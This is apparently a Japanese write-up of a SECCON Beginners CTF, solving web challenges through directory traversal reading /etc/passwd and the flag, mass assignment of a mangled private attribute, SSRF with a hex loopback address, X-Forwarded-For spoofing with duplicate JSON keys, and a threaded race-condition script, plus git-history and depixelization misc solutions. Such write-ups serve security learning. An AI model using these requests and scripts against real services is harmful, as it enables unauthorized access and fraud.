チームwhitecatとして参加して1689点85位でした。
Webしかやれていないのですが、メンバーが強くてここまでこれました。
以下、自分が解いた問題のwriteupです。
Web
osoba

ちょっと探索すると/?page=public/wip.htmlのようなURLになっているので、ディレクトリトラバーサルを試す。
/?page=/etc/passwdとすると、データが抜けてくるので、問題文にもあるように/?page=/flagでフラグを取ってこよう。
Werewolf
自分はKNIGHTらしい。

プロキシのログを見てみるが、特に気になる部分がない。
ソースコードを見てみよう。
player.role == 'WEREWOLF'が満たされればフラグが手に入る。
しかしPlayerクラスを見ると指定できるroleにWEREWOLFが含まれていない。
player.__dict__[k] = vで__roleにアクセスできないが探すと以下の記事が見つかる。
Pythonのプライベート変数の振る舞いについて - Qiita
なるほど、_Player__roleでアクセスできそう。
POST / HTTP/1.1 Host: werewolf.quals.beginners.seccon.jp … Connection: close name=Evilman&color=red&_Player__role=WEREWOLF
これでフラグがもらえる。
check_url

SSRFな感じがする。
ソースコードを見ると自分自身をアクセスさせることができればフラグが手に入る。
127.0.0.1にアクセスさせることができればフラグが手に入る。制約は
という感じ。
色々調べて使ってみると、SSRF (Server Side Request Forgery) - HackTricksの0x7f000001が刺さる。
/?url=https://0x7f000001/でフラグ。
json

BANされてしまった。
/json/bff/main.goの以下の部分でフィルタリングしている。
// check if the accessed user is in the local network (192.168.111.0/24) func checkLocal() gin.HandlerFunc { return func(c *gin.Context) { clientIP := c.ClientIP() ip := net.ParseIP(clientIP).To4() if ip[0] != byte(192) || ip[1] != byte(168) || ip[2] != byte(111) { c.HTML(200, "error.tmpl", gin.H{ "ip": clientIP, }) c.Abort() return } } }
送信元をヘッダーで偽装できないか試すとX-Forwarded-For: 192.168.111.2を入れてみるとbypassできた。
Flagクエリをやってみる。

ダメでした。
/json/bff/main.goの
if info.ID == 2 { c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."}) return }
でフィルタリングがかかっている。
よくよく見ると、apiとbffで使っているJSONパーサーが違う。
これはアレか。
POST / HTTP/1.1
Host: json.quals.beginners.seccon.jp
…
X-Forwarded-For: 192.168.111.2
{"id":2,"id":1}
これを投げるとフラグが手に入る。
cant_use_db

Noodlesを2つ、Soupを1つ買えればフラグが手に入る。
もちろんお金は足りない。
cant_use_dbとあり、DBは使っていない。代わりにtxtファイルを使って情報を永続化している。
user_idが内部的に使われているがセッションに入っているので手出しできない。
CookieにセッションIDがJWSっぽい形式で入っているが、簡単に解析できそうな感じでもない。
購入フローを見ると、「購入物の個数をインクリメント」→wait→「金額を購入分減らす」となっているので排他処理で攻められますね。
しかし、単純に/buy_noodlesを2回と/buy_soupを1回を同時に実行すると、buy_noodlesの購入物の更新がどちらも1個になってしまうので、1回目と2回目の間に0.5秒くらいウェイトを入れるとうまくいく。
以下exploitコード
import requests
import threading
import time
root = 'https://cant-use-db.quals.beginners.seccon.jp'
cookie = {'session': 'eyJ1c2VyIjoiMDQ3L2F4SjNEWS1USUs5Rlc1dmFGT3d4TVFzM3pjNllLdkdsWmhFLWEzbUMifQ.YKkndg.Hbl3Uw84soj7Gd3HccAsqHRHfag'}
def f():
return requests.post(root + '/buy_noodles', cookies=cookie, verify=False).text
def g():
return requests.post(root + '/buy_soup', cookies=cookie, verify=False).text
threading.Thread(target=f).start()
time.sleep(0.5)
threading.Thread(target=f).start()
threading.Thread(target=g).start()
misc
git-leak
過去コミットを洗い出してgrepしてくればフラグが得られる。
$ git cat-file --batch --batch-all-objects | grep -a ctf4b
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
depixelization

このような暗号と暗号を作るスクリプトが与えられる。
とある文字はそれに対応した一意の画像が作られるので候補の文字についてスクリプトで暗号化を行い、出力が一致するかを比較することで復元できそうだ。
スクリプトを書いて、上記のようなことをやると答えが得られる。
import cv2
import numpy as np
cs = "qwertyuiopasdfghjklzxcvbnm1234567890{}_!"
img2 = cv2.imread("./output.png")
for i in range(31):
L = i * 85
R = (i + 1) * 85
char = img2[0 : 100, L : R]
for c in cs:
img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8)
cv2.putText(img, c, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)
# pixelization
cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA)
cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)
cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA)
simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o
img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST)
if np.array_equal(char,img):
print(c)
break